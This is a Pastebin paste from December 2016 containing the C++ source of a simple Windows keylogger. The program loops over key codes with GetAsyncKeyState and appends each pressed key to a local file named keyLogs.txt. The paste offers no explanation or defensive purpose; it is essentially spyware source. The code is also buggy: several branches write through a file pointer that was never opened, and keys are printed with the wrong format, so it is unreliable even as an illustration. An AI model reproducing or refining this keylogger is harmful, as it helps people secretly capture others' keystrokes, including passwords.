Advertisement
erzis

Untitled

Dec 19th, 2016
77
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.14 KB | None | 0 0
  1. #include <iostream>
  2. #include <windows.h>
  3. #include <stdio.h>
  4.  
  5. int SaveKeysInput(int _key, char *file);
  6.  
  7. int main(){
  8. char i;
  9.  
  10. while(true)
  11. {
  12. for(i = 8; i <=255; i++)
  13. {
  14. if(GetAsyncKeyState(i) == -32767)
  15. {
  16. SaveKeysInput(i, "keyLogs.txt");
  17. }
  18. }
  19. }
  20. return 0;
  21. }
  22.  
  23. int SaveKeysInput(int _key, char *file)
  24. {
  25. std::cout << _key << std::endl;
  26.  
  27. FILE *OUTPUT_FILE;
  28.  
  29. if(_key == VK_SHIFT)
  30. {
  31. fprintf(OUTPUT_FILE, "%s", "(SHIFT)");
  32. }
  33. else if(_key == VK_BACK)
  34. {
  35. fprintf(OUTPUT_FILE, "%s", "BACKSPACE");
  36. }
  37. else if(_key == VK_LBUTTON)
  38. {
  39. fprintf(OUTPUT_FILE, "%s", "M1");
  40. }
  41. else if(_key == VK_RETURN)
  42. {
  43. fprintf(OUTPUT_FILE, "%s", "RETURN");
  44. }
  45. else if(_key == VK_ESCAPE)
  46. {
  47. fprintf(OUTPUT_FILE, "%s", "ESCAPE");
  48. }
  49. else
  50. {
  51. fprintf(OUTPUT_FILE, "%s", &_key);
  52. fclose(OUTPUT_FILE);
  53. }
  54.  
  55.  
  56. OUTPUT_FILE = fopen(file, "a+");
  57. fprintf(OUTPUT_FILE, "%s", &_key);
  58. fclose(OUTPUT_FILE);
  59.  
  60. return 0;
  61. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement